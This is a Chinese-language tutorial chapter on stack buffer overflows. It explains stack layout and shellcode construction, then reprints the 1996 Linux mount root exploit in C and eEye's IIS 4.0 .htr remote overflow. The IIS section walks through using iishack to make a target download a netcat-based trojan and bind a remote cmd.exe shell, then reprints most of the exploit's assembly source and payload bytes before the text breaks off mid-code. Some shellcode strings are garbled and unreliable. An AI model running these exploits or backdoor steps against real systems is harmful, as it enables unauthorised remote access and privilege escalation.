轉自INTERNET

第十章 

緩衝區溢出及其攻擊

第一節 緩衝區溢出原理

緩衝區是內存中存放數據的地方。在程序試圖將數據放到計算機內存中的某一位置,但沒有足夠空間時會發生緩衝區溢出。

下面對這種技術做一個詳細的介紹。

緩衝區是程序運行時計算機內存中的一個連續的塊,它保存了給定類型的數據。問題隨著動態分配變量而出現。為了不用太多的內存,一個有動態分配變量的程序在程序運行時才決定給他們分配多少內存。

如果程序在動態分配緩衝區放入太多的數據會有什麼現象?它溢出了,漏到了別的地方。一個緩衝區溢出應用程序使用這個溢出的數據將彙編語言代碼放到計算機的內存中,通常是產生root權限的地方。

單單的緩衝區溢出,並不會產生安全問題。只有將溢出送到能夠以root權限運行命令的區域才行。這樣,一個緩衝區利用程序將能運行的指令放在了有root權限的內存中,從而一旦運行這些指令,就是以root權限控制了計算機。

總結一下上面的描述。緩衝區溢出指的是一種系統攻擊的手段,通過往程序的緩衝區寫超出其長度的內容,造成緩衝區的溢出,從而破壞程序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。據統計,通過緩衝區溢出進行的攻擊占所有系統攻擊總數的80%以上。

造成緩衝區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:

example0.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

----------------------------------------------------------------------

上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的getc(),fgetc(),getchar()等。

在C語言中,靜態變量是分配在數據段中的,動態變量是分配在堆棧段的。緩衝區溢出是利用堆棧段的溢出的。

下面通過介紹Linux中怎樣利用緩衝區溢出來講解這一原理。最後介紹一個 eEye公司發現的IIS的一個溢出漏洞來講解一個很實際的攻擊實例。

第二節 製造緩衝區溢出

  一個程序在內存中通常分為程序段,數據端和堆棧三部分。程序段裡放著程序的機器碼和只讀數據,這個段通常是只讀,對它的寫操作是非法的。數據段放的是程序中的靜態數據。動態數據則通過堆棧來存放。在內存中,它們的位置如下:

/--------   內存低端

| 程序段 |

|---------|

| 數據段 |

|---------|

| 堆棧 |

\u8213---------/ 內存高端

堆棧是內存中的一個連續的塊。一個叫堆棧指針的寄存器(SP)指向堆棧的棧頂。堆棧的底部是一個固定地址。

堆棧有一個特點就是,後進先出。也就是說,後放入的數據第一個取出。它支持兩個操作,PUSH和POP。PUSH是將數據放到棧的頂端,POP是將棧頂的數據取出。

在高級語言中,程序函數調用和函數中的臨時變量都用到堆棧。參數的傳遞和返回值是也用到了堆棧。通常對局部變量的引用是通過給出它們對SP的偏移量來實現的。另外還有一個基址指針(FP,在Intel芯片中是BP),許多編譯器實際上是用它來引用本地變量和參數的。通常,參數的相對FP的偏移是正的,局部變量是負的。

當程序中發生函數調用時,計算機做如下操作:首先把參數壓入堆棧;然後保存指令寄存器(IP)中的內容,做為返回地址(RET);第三個放入堆棧的是基址寄存器(FP);然後把當前的棧指針(SP)拷貝到FP,做為新的基地址;最後為本地變量留出一定空間,把SP減去適當的數值。

下面舉個例子:

example1.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

}

void main() {

function(1,2,3);

}

------------------------------------------------------------------------------

為了理解程序是怎樣調用函數function()的,使用-S選項,在Linux下,用gcc進行編譯,產生彙編代碼輸出:

$ gcc -S -o example1.s example1.c

看看輸出文件中調用函數的那部分:

pushl $3

pushl $2

pushl $1

call function

這就將3個參數壓到堆棧裡了,並調用function()。指令call會將指令指針IP壓入堆棧。在返回時,RET要用到這個保存的IP。

在函數中,第一要做的事是進行一些必要的處理。每個函數都必須有這些過程:

pushl %ebp

movl %esp,%ebp

subl $20,%esp

這幾條指令將EBP,基址指針放入堆棧。然後將當前SP拷貝到EBP。然後,為本地變量分配空間,並將它們的大小從SP裡減掉。由於內存分配是以字為單位的,因此,這裡的buffer1用了8字節(2個字,一個字4字節)。Buffer2用了12字節(3個字)。所以這裡將ESP減了20。這樣,現在,堆棧看起來應該是這樣的。 低端內存 高端內存

buffer2 buffer1 sfp ret a b c

< ------ [ ][ ][ ][ ][ ][ ][ ]

棧頂 棧底

  緩衝區溢出就是在一個緩衝區裡寫入過多的數據。那怎樣利用呢,看一下下面程序:

example2.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++)

large_string[i] = 'A';

function(large_string);

}

----------------------------------------------------------------------

  這個程序是一個經典的緩衝區溢出編碼錯誤。函數將一個字符串不經過邊界檢查,拷貝到另一內存區域。當調用函數function()時,堆棧如下:

低內存端 buffer sfp ret *str 高內存端

< ------ [ ][ ][ ][ ]

棧頂 棧底

很明顯,程序執行的結果是"Segmentation fault (core

dumped)"或類似的出錯信息。因為從buffer開始的256個字節都將被*str的內容'A'覆蓋,包括sfp,

ret,甚至*str。'A'的十六進值為0x41,所以函數的返回地址變成了0x41414141, 這超出了程序的地址空間,所以出現段錯誤。

可見,緩衝區溢出允許我們改變一個函數的返回地址。通過這種方式,可以改變程序的執行順序。

第三節 通過緩衝區溢出獲得用戶SHELL

  再回過頭看看第一個例子:

低端內存 高端內存

buffer2 buffer1 sfp ret a b c

< ------ [ ][ ][ ][ ][ ][ ][ ]

棧頂 棧底

將第一個example1.c的代碼改動一下,用來覆蓋返回地址,顯示怎樣能利用它來執行任意代碼。在上圖中,buffer1前面的上sfp,再前面的是ret。而且buffer1[]實際上是8個字節,因此,返回地址是從buffer1[]起始地址算起是12個字節。在程序中,將返回地址設置成跳過語句"x=1;",因此,程序的運行結果顯示成一個0,而不是1。

example3.c:

------------------------------------------------------------------------------

void function(int a, int b, int c) {

char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main() {

int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d",x);

}

  用gdb調試。

  $ gdb example3

(gdb) disassemble main

Dump of assembler code for function main:

0x8000490 < main>: pushl %ebp

0x8000491 < main+1>: movl %esp,%ebp

0x8000493 < main+3>: subl $0x4,%esp

0x8000496 < main+6>: movl $0x0,0xfffffffc(%ebp)

0x800049d < main+13>: pushl $0x3

0x800049f < main+15>: pushl $0x2

0x80004a1 < main+17>: pushl $0x1

0x80004a3 < main+19>: call 0x8000470 < function>

0x80004a8 < main+24>: addl $0xc,%esp

0x80004ab < main+27>: movl $0x1,0xfffffffc(%ebp)

0x80004b2 < main+34>: movl 0xfffffffc(%ebp),%eax

0x80004b5 < main+37>: pushl %eax

0x80004b6 < main+38>: pushl $0x80004f8

0x80004bb < main+43>: call 0x8000378 < printf>

0x80004c0 < main+48>: addl $0x8,%esp

0x80004c3 < main+51>: movl %ebp,%esp

0x80004c5 < main+53>: popl %ebp

0x80004c6 < main+54>: ret

0x80004c7 < main+55>: nop

------------------------------------------------------------------------------

可見在調用function()之前,RET的返回地址將是0x8004a8,我們想要跳過0x80004ab,去執行0x8004b2。

在能夠修改程序執行順序之後,想要執行什麼程序呢?通常希望程序去執行Shell,在Shell裡,就能執行希望執行的指令了。 如果在溢出的緩衝區中寫入想執行的代碼,再覆蓋返回地址(ret)的內容,使它指向緩衝區的開頭,就可以達到運行其它指令的目的。

在C語言中,調用shell的程序是這樣的:

shellcode.c

-----------------------------------------------------------------------------

#include < stdio.h>

void main() {

char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

------------------------------------------------------------------------------

看一下這段程序的二進制代碼:

$ gcc -o shellcode -ggdb -static shellcode.c

$ gdb shellcode

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 < main>: pushl %ebp

0x8000131 < main+1>: movl %esp,%ebp

0x8000133 < main+3>: subl $0x8,%esp

0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)

0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)

0x8000144 < main+20>: pushl $0x0

0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 < main+25>: pushl %eax

0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d < main+29>: pushl %eax

0x800014e < main+30>: call 0x80002bc < __execve>

0x8000153 < main+35>: addl $0xc,%esp

0x8000156 < main+38>: movl %ebp,%esp

0x8000158 < main+40>: popl %ebp

0x8000159 < main+41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc < __execve>: pushl %ebp

0x80002bd < __execve+1>: movl %esp,%ebp

0x80002bf < __execve+3>: pushl %ebx

0x80002c0 < __execve+4>: movl $0xb,%eax

0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx

0x80002cb < __execve+15>: movl 0x10(%ebp),%edx

0x80002ce < __execve+18>: int $0x80

0x80002d0 < __execve+20>: movl %eax,%edx

0x80002d2 < __execve+22>: testl %edx,%edx

0x80002d4 < __execve+24>: jnl 0x80002e6 < __execve+42>

0x80002d6 < __execve+26>: negl %edx

0x80002d8 < __execve+28>: pushl %edx

0x80002d9 < __execve+29>: call 0x8001a34 < __normal_errno_location>

0x80002de < __execve+34>: popl %edx

0x80002df < __execve+35>: movl %edx,(%eax)

0x80002e1 < __execve+37>: movl $0xffffffff,%eax

0x80002e6 < __execve+42>: popl %ebx

0x80002e7 < __execve+43>: movl %ebp,%esp

0x80002e9 < __execve+45>: popl %ebp

0x80002ea < __execve+46>: ret

0x80002eb < __execve+47>: nop

End of assembler dump.

------------------------------------------------------------------------------

  研究一下main:

------------------------------------------------------------------------------

0x8000130 < main>: pushl %ebp

0x8000131 < main+1>: movl %esp,%ebp

0x8000133 < main+3>: subl $0x8,%esp

這段代碼是main()函數的進入代碼,為變量name留出空間。

0x8000136 < main+6>: movl $0x80027b8,0xfffffff8(%ebp)

0x800013d < main+13>: movl $0x0,0xfffffffc(%ebp)

這裡實現了name[0] = "/bin/sh";語句。

接下來是調用execve()函數。

0x8000144 < main+20>: pushl $0x0

0x8000146 < main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 < main+25>: pushl %eax

0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d < main+29>: pushl %eax

  前面幾句是參數傳遞。

0x800014e < main+30>: call 0x80002bc < __execve>

再來分析一下execve()函數。

0x80002bc < __execve>: pushl %ebp

0x80002bd < __execve+1>: movl %esp,%ebp

0x80002bf < __execve+3>: pushl %ebx

這是每個函數的進入必須處理部分。

0x80002c0 < __execve+4>: movl $0xb,%eax

將eax拷貝到堆棧上的0xb(11)處。這是系統調用表的索引,及是execve調用。

0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx

0x80002cb < __execve+15>: movl 0x10(%ebp),%edx

0x80002ce < __execve+18>: int $0x80

進入中斷,也就是系統內核,實現系統調用。為了防止execve調用不成功,可以在程序後面再加入一個exit系統調用。

將上面所述,我們就得出一段調用shell的二進制(彙編)代碼:

------------------------------------------------------------------------------

movl string_addr,string_addr_addr

movb $0x0,null_byte_addr

movl $0x0,null_addr

movl $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int $0x80

movl $0x1, %eax

movl $0x0, %ebx

int $0x80

/bin/sh string goes here.

------------------------------------------------------------------------------

由於我們不知道程序的運行空間,所以使用JMP和CALL指令。這兩個指令可以使用相對地址。如果在「/bin/sh」前放一條CALL指令,並將一個JMP指令跳向它。這個字符串地址將PUSH到堆棧上,作為CALL的返回地址。我們所做的就是將返回地址拷貝到一個寄存器。那麼程序的執行順序如下:

內存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內存高端

89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF

buffer sfp ret a b c

< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]

^|^ ^| |

|||_____________||____________| (1)

(2) ||_____________||

|______________| (3)

棧頂 棧底

  經過這些改動後,使用索引地址,參考下面的代碼:

------------------------------------------------------------------------------

jmp 0x26 # 2 bytes

popl %esi # 1 byte

movl %esi,0x8(%esi) # 3 bytes

movb $0x0,0x7(%esi) # 4 bytes

movl $0x0,0xc(%esi) # 7 bytes

movl $0xb,%eax # 5 bytes

movl %esi,%ebx # 2 bytes

leal 0x8(%esi),%ecx # 3 bytes

leal 0xc(%esi),%edx # 3 bytes

int $0x80 # 2 bytes

movl $0x1, %eax # 5 bytes

movl $0x0, %ebx # 5 bytes

int $0x80 # 2 bytes

call -0x2b # 5 bytes

.string "/bin/sh" # 8 bytes

------------------------------------------------------------------------------

通常將上面這段代碼翻譯成二進制代碼,放在一個數組裡。

將上面的程序用機器碼表示即可得到下面的十六進制shell代碼字符串。

char shellcode[] =

"fecb"

"dedc"

"/bin/sh";

  下面的程序是怎樣利用的示範:

example4.c

----------------------------------------------------------------------

char shellcode[] =

"fecb"

"dedc"

"/bin/sh";

char large_string[128];

void main() {

char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)

large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

----------------------------------------------------------------------

這個程序所做的是,在large_string中填入buffer的地址,並把shell代碼放到large_string的前面部分。然後將large_string拷貝到buffer中,造成它溢出,使返回地址變為buffer,而buffer的內容為shell代碼。

這樣當程序試從strcpy()中返回時,就會轉而執行shell。

第四節 利用緩衝區溢出進行的系統攻擊

  如果已知某個程序有緩衝區溢出的缺陷,如何知道緩衝區的地址,在那兒放入shell代碼呢?由於每個程序的堆棧起始地址是固定的,所以理論上可以通過反覆重試緩衝區相對於堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進行數百上千次,實際上是不現實的。解決的辦法是利用空指令NOP。在shell代碼前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執行完NOP指令後程序將激活shell進程。這樣就大大增加了猜中的可能性。可以編寫程序來自動實現這一功能。請參見下面的這個比較經典的程序。

 

低內存端 buffer sfp ret *str 高內存端

< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]

棧頂 ^ | 棧底

|_______________________________|

圖中,N代表NOP,S代表shell。下面是一個緩衝區溢出攻擊的實例,它利用了系統程序mount的漏洞:

example5.c

----------------------------------------------------------------------

/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

#include < unistd.h>

#include < stdio.h>

#include < stdlib.h>

#include < fcntl.h>

#include < sys/stat.h>

#define PATH_MOUNT "/bin/umount"

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

u_long get_esp()

{

__asm__("movl %esp, %eax");

}

main(int argc, char **argv)

{

u_char execshell[] =

"edeebf"

"bdebb"

"/bin/sh";

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

int i;

int ofs = DEFAULT_OFFSET;

buff = malloc(4096);

if(!buff)

{

printf("can't allocate memory");

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i < strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

(void)alarm((u_int)0);

printf("Discovered and Coded by Bloodmask and Vio, Covin 1996");

execl(PATH_MOUNT, "mount", buff, NULL);

}

----------------------------------------------------------------------

程序中get_esp()函數的作用就是定位堆棧位置。程序首先分配一塊暫存區buff,然後在buff的前面部分填滿NOP,後面部分放shell代碼。最後部分是希望程序返回的地址,由棧地址加偏移得到。當以buff為參數調用mount時,將造成mount程序的堆棧溢出,其緩衝區被buff覆蓋,而返回地址將指向NOP指令。

由於mount程序的屬主是root且有suid位,普通用戶運行上面程序的結果將獲得一個具有root權限的shell。

第五節 緩衝區溢出應用攻擊實例

  eEye - Digital Security

Team利用他們開發的Retina網絡安全掃瞄器時,發現了微軟IIS4.0的一個緩衝區溢出漏洞,從而產生了一些列的攻擊。下面是對這一過程的詳細分析。 受到影響的系統

Internet Information Server 4.0 (IIS4)

Microsoft Windows NT 4.0 SP3 Option Pack 4

Microsoft Windows NT 4.0 SP4 Option Pack 4

Microsoft Windows NT 4.0 SP5 Option Pack 4

  目前,Internet上90%的NT Web服務器運行的是上述系統。所以這一造成的後果是相當巨大的。

原理

IIS把整個的URL地址傳給處理IIS默認後綴(.ASP, .IDC, .HTR)的DLL。如果ISAPI

DLL沒有一個很好的邊界檢查的話,會產生一個緩衝區溢出,它利用IIS(inetinfo.exe),允許執行遠程計算機上的任意代碼。

利用這一原理,eEye利用Retina使用這些後綴,來探測是否存在這樣的漏洞。結果,發現了這樣的漏洞。在發送"GET /[overflow].htr

HTTP/1.0"後,對方的服務器沒有反映了。於是,使用調試器,進行分析後發現,這個緩衝區有3K。請參看前面介紹的原理。

  下面是調試信息:

EAX = 00F7FCC8 EBX = 00F41130

ECX = 41414141 EDX = 77F9485A

ESI = 00F7FCC0 EDI = 00F7FCC0

EIP = 41414141 ESP = 00F4106C

EBP = 00F4108C EFL = 00000246

註: Retina使用"A" (0x41)來填充緩衝區。

解釋:

  這個溢出和.HTR後綴有關。IIS包含了允許Windows

NT用戶通過web目錄/iisadmpwd/改變他們的口令的能力。這個特點是由一系列的.HTR文件和ISAPI後綴文件ISM.DLL實現的。因此,在將URL傳遞給ISM.DLL的這一行的某個地方,並沒有進行邊界檢查,於是就發生了溢出。.HTR/ISM.DLL

ISAPI過濾器都在IIS服務器上缺省安裝。

攻擊方法

利用上述的毛病,eEye寫了兩個程序: iishack.exe和 ncx.exe。

把ncx.exe拷貝到你的web服務器上。ncx.exe是一個特洛伊木馬程序,是netcat.exe的改進程序。主要變化是將-l -p 80 -t -e

cmd.exe作為一個固定的參數運行,始終將cmd.exe綁定在80端口。ncx..exe的代碼也比netcat.exe要小,有利於攻擊。

如果不能在服務器上使用ncx.exe的話,可以使用ncx99.exe。主要原因是ncx.exe綁定80端口,有可能不能用。Ncx99.exe綁定99端口。

假設你的web server是:www.mysvr.com,對方的IIS server是www.xxx.com 。運行下面的命令:

iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)

  運行後,可以看到如下信息:

------(IIS 4.0 remote buffer overflow exploit)-----------------

(c) dark spyrit -- [email protected].

http://www.eEye.com

[usage: iishack < host> < port> < url> ]

eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe

do not include 'http://' before hosts!

---------------------------------------------------------------

Data sent!

  等待足夠多的時間。這樣,你已經利用這一漏洞並在被攻擊的服務器上留下後門了。隨後,可以使用Telnet來操作對方的計算機。

Telnet www.xxx.com 99

  結果是這樣:

Microsoft(R) Windows NT(TM)

(C) Copyright 1985-1996 Microsoft Corp.

C:>

  這就說明你已經能進入對方的計算機了。現在可以進行任何想要進行的操作了。

如果想要退出,只需鍵入exit。

  對這個漏洞的補救方法:在IIS的www service屬性中將主目錄的應用程序設置的*.htr的映射刪除。

Iishack.exe程序的源代碼

  下面將iishack.exe的源代碼放在這裡,供有興趣者參考。在分析這段代碼時,請參照前面的原理的講解。如要編譯成可執行代碼,請用Turbo ASM來編譯。

; IIS 4.0 remote overflow exploit.

; (c) dark spyrit -- [email protected]

;

; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and

; #beavuh... and all the other kiwi's except ceo.

;

; credits to acp for the console stuff..

;

; I don't want to go in too deeply on the process of exploiting buffer

; overflows... there's various papers out there on this subject, instead I'll

; give just a few specifics relating to this one..

;

; Microsoft was rather good to us on this occasion, stuffing our eip value

; directly into a register then calling it.. no need to stuff valid addresses

; to make our way through various routines to eventually return to our

; address... but, unfortunately it wasn't all smooth sailing.

; Various bytes and byte sequences I was forced to avoid, as you'll quickly

; notice should you bother debugging this.. various push/pop pairs etc.

; I don't bother with any cleanup when all is done, NT's exception handling

; can cope with the mess 🙂

;

; The exploit works by redirecting the eip to the address of a loaded dll,

; in this case ISM.DLL. Why?

; Because its loaded in memory, is loaded at a high address which gets around

; the null byte problem.. and is static on all service packs.

; The code from ISM.DLL jumps to my code, which creates a jump table of

; of functions we'll need, including the socket functions.. we do this

; because unfortunately the dll's import tables don't include nearly enough

; of the functions we need..

;

; The socket structure is created and filled at runtime, I had to do this

; at runtime because of the bad byte problem.. after this a small buffer is

; created, a get request issued to the web site of the file you want to

; download.. file is then received/saved to disk/and executed..

; Simple huh? no not really 🙂

;

; Have fun with this one... feel free to drop me an email with any comments.

;

; And finally, heh.. "caveat emptor".

;

;

; you can grab the assembled exe at http://www.eEye.com.

;

; to assemble:

;

; tasm32 -ml iishack.asm

; tlink32 -Tpe -c -x iishack.obj ,,, import32

 

.386p

locals

jumps

.model flat, stdcall

  extrn GetCommandLineA:PROC

extrn GetStdHandle:PROC

extrn WriteConsoleA:PROC

extrn ExitProcess:PROC

extrn WSAStartup:PROC

extrn connect:PROC

extrn send:PROC

extrn recv:PROC

extrn WSACleanup:PROC

extrn gethostbyname:PROC

extrn htons:PROC

extrn socket:PROC

extrn inet_addr:PROC

extrn closesocket:PROC

.data

sploit_length equ 1157

sploit:

db "GET /"

db 041h, 041h, 041h, 041h, 041h, 041h, 041h

db 576 dup (041h)

db 041h, 041h, 041h, 041h, 041h, 041h, 0b0h, 087h, 067h, 068h, 0b0h, 087h

db 067h, 068h, 090h, 090h, 090h, 090h, 058h, 058h, 090h, 033h, 0c0h, 050h

db 05bh, 053h, 059h, 08bh, 0deh, 066h, 0b8h, 021h, 002h, 003h, 0d8h, 032h

db 0c0h, 0d7h, 02ch, 021h, 088h, 003h, 04bh, 03ch, 0deh, 075h, 0f4h, 043h

db 043h, 0bah, 0d0h, 010h, 067h, 068h, 052h, 051h, 053h, 0ffh, 012h, 08bh

db 0f0h, 08bh, 0f9h, 0fch, 059h, 0b1h, 006h, 090h, 05ah, 043h, 032h, 0c0h

db 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h, 052h, 051h

db 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h, 05ah, 0e2h, 0e6h, 043h

db 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h, 0f4h, 043h

db 052h, 053h, 0ffh, 012h, 08bh, 0f0h, 05ah, 033h, 0c9h, 050h, 058h, 0b1h

db 005h, 043h, 032h, 0c0h, 0d7h, 050h, 058h, 084h, 0c0h, 050h, 058h, 075h

db 0f4h, 043h, 052h, 051h, 053h, 056h, 0b2h, 054h, 0ffh, 012h, 0abh, 059h

db 05ah, 0e2h, 0e6h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h

db 0f4h, 089h, 047h, 0cch, 033h, 0c0h, 050h, 050h, 0b0h, 002h, 066h, 0abh

db 058h, 0b4h, 050h, 066h, 0abh, 058h, 0abh, 0abh, 0abh, 0b1h, 021h, 090h

db 066h, 083h, 0c3h, 016h, 08bh, 0f3h, 043h, 032h, 0c0h, 0d7h, 03ah, 0c8h

db 075h, 0f8h, 032h, 0c0h, 088h, 003h, 056h, 0ffh, 057h, 0ech, 090h, 066h

db 083h, 0efh, 010h, 092h, 08bh, 052h, 00ch, 08bh, 012h, 08bh, 012h, 092h

db 08bh, 0d7h, 089h, 042h, 004h, 052h, 06ah, 010h, 052h, 0ffh, 077h, 0cch

db 0ffh, 057h, 0f8h, 05ah, 066h, 083h, 0eeh, 008h, 056h, 043h, 08bh, 0f3h

db 0fch, 0ach, 084h, 0c0h, 075h, 0fbh, 041h, 04eh, 0c7h, 006h, 08dh, 08ah

db 08dh, 08ah, 081h, 036h, 080h, 080h, 080h, 080h, 033h, 0c0h, 050h, 050h

db 06ah, 048h, 053h, 0ffh, 077h, 0cch, 0ffh, 057h, 0f0h, 058h, 05bh, 08bh

db 0d0h, 066h, 0b8h, 0ffh, 00fh, 050h, 052h, 050h, 052h, 0ffh, 057h, 0e8h

db 08bh, 0f0h, 058h, 090h, 090h, 090h, 090h, 050h, 053h, 0ffh, 057h, 0d4h

db 08bh, 0e8h, 033h, 0c0h, 05ah, 052h, 050h, 052h, 056h, 0ffh, 077h, 0cch

db 0ffh, 057h, 0ech, 080h, 0fch, 0ffh, 074h, 00fh, 050h, 056h, 055h, 0ffh

db 057h, 0d8h, 080h, 0fch, 0ffh, 074h, 004h, 085h, 0c0h, 075h, 0dfh, 055h

db 0ffh, 057h, 0dch, 033h, 0c0h, 040h, 050h, 053h, 0ffh, 057h, 0e4h, 090h

db 090h, 090h, 090h, 0ffh, 06ch, 066h, 073h, 06fh, 066h, 06dh, 054h, 053h

db 021h, 080h, 08dh, 084h, 093h, 086h, 082h, 095h, 021h, 080h, 08dh, 098h

db 093h, 08ah, 095h, 086h, 021h, 080h, 08dh, 084h, 08dh, 090h, 094h, 086h

db 021h, 080h, 08dh, 090h, 091h, 086h, 08fh, 021h, 078h, 08ah, 08fh, 066h

db 099h, 086h, 084h, 021h, 068h, 08dh, 090h, 083h, 082h, 08dh, 062h, 08dh

db 08dh, 090h, 084h, 021h, 078h, 074h, 070h, 064h, 06ch, 054h, 053h, 021h

db 093h, 086h, 084h, 097h, 021h, 094h, 086h, 08fh, 085h, 021h, 094h, 090h

db 084h, 08ch, 086h, 095h, 021h, 084h, 090h, 08fh, 08fh, 086h, 084h, 095h

db 021h, 088h, 086h, 095h, 089h, 090h, 094h, 095h, 083h, 09ah, 08fh, 082h

db 08eh, 086h, 021h, 090h, 098h, 08fh, 04fh, 086h, 099h, 086h, 021h

_url2 db 85 dup (021h)

db ".htr HTTP/1.0"

db 00dh,00ah, 00dh, 00ah

logo db "------(IIS 4.0 remote buffer overflow

exploit)---------------------------------", 13, 10

db "(c) dark spyrit -- [email protected].",13,10

db "http://www.eEye.com",13,10,13,10

db "[usage: iishack < host> < port> < url>]", 13, 10

db "eg - iishack www.example.com 80 www.myserver.com/thetrojan.exe",13,10

db "do not include 'http://' before hosts!",13,10

db

"-------------------------------------------------------------------------------",

13, 10, 0

logolen equ $-logo

u_length db 10,"No more than 70 chars in 2nd url.",13,10,0

u_lengthl equ $-u_length

errorinit db 10,"Error initializing winsock.", 13, 10, 0

errorinitl equ $-errorinit

nohost db 10,"No host or IP specified.", 13,10,0

nohostl equ $-nohost

noport db 10,"No port specified.",13,10,0

noportl equ $-noport

no_url db 10,"No URL specified.",13,10,0

no_urll equ $-no_url

urlinv db 10,"Invalid URL.. no file specified?",13,10,0

urlinvl equ $-urlinv

reshost db 10,"Error resolving host.",13,10,0

reshostl equ $-reshost

sockerr db 10,"Error creating socket.",13,10,0

sockerrl equ $-sockerr

ipill db 10,"IP error.",13,10,0

ipilll equ $-ipill

porterr db 10,"Invalid port.",13,10,0

porterrl equ $-porterr

cnerror db 10,"Error establishing connection.",13,10,0

cnerrorl equ $-cnerror

success db 10,"Data sent!",13,10,0

successl equ $-success

console_in dd ?

console_out dd ?

bytes_read dd ?

wsadescription_len equ 256

wsasys_status_len equ 128

WSAdata struct

wVersion dw ?

wHighVersion dw ?

szDescription db wsadescription_len+1 dup (?)

szSystemStatus db wsasys_status_len+1 dup (?)

iMaxSockets dw ?

iMaxUdpDg dw ?

lpVendorInfo dw ?

WSAdata ends

sockaddr_in struct

sin_family dw ?

sin_port dw ?

sin_addr dd ?

sin_zero db 8 dup (0)

sockaddr_in ends

wsadata WSAdata < ?>

sin sockaddr_in < ?>

sock dd ?

numbase dd 10

_port db 256 dup (?)

_host db 256 dup (?)

_url db 256 dup (?)

stuff db 042h, 068h, 066h, 075h, 041h, 050h

.code

start:

call init_console

push logolen

push offset logo

call write_console

call GetCommandLineA

mov edi, eax

mov ecx, -1

xor al, al

push edi

repnz scasb

not ecx

pop edi

mov al, 20h

repnz scasb

dec ecx

cmp ch, 0ffh

jz @@0

test ecx, ecx

jnz @@1

@@0:

push nohostl

push offset nohost

call write_console

jmp quit3

@@1:

mov esi, edi

lea edi, _host

call parse

or ecx, ecx

jnz @@2

push noportl

push offset noport

call write_console

jmp quit3

@@2:

lea edi, _port

call parse

or ecx, ecx

jnz @@3

push no_urll

push offset no_url

call write_console

jmp quit3

@@3:

push ecx

lea edi, _url

call parse

pop ecx

cmp ecx, 71

jb length_ok

push u_lengthl

push offset u_length

call write_console

jmp quit3

length_ok:

mov esi, offset _url

mov edi, offset _url2

@@10:

xor al, al

lodsb

cmp al, 02fh

jz whaq

test al, al

jz @@20

add al, 021h

stosb

jmp @@10

@@20:

push urlinvl

push offset urlinv

call write_console

jmp quit3

 

whaq:

push esi

lea esi, stuff

lodsw

stosw

lodsd

stosd

pop esi

fileget:

xor al, al

lodsb

test al, al

jz getdone

add al, 021h

stosb

jmp fileget

getdone:

push offset wsadata

push 0101h

call WSAStartup

or eax, eax

jz winsock_found

push errorinitl

push offset errorinit

call write_console

jmp quit3

winsock_found:

xor eax, eax

push eax

inc eax

push eax

inc eax

push eax

call socket

cmp eax, -1

jnz socket_ok

push sockerrl

push offset sockerr

call write_console

jmp quit2

socket_ok:

mov sock, eax

mov sin.sin_family, 2

mov esi, offset _port

lewp1:

xor al, al

lodsb

test al, al

jz go

cmp al, 039h

ja port_error

cmp al, 030h

jb port_error

jmp lewp1

port_error:

push porterrl

push offset porterr

call write_console

jmp quit1

go:

mov ebx, offset _port

call str2num

mov eax, edx

push eax

call htons

mov sin.sin_port, ax

mov esi, offset _host

lewp:

xor al, al

lodsb

cmp al, 039h

ja gethost

test al, al

jnz lewp

push offset _host

call inet_addr

cmp eax, -1

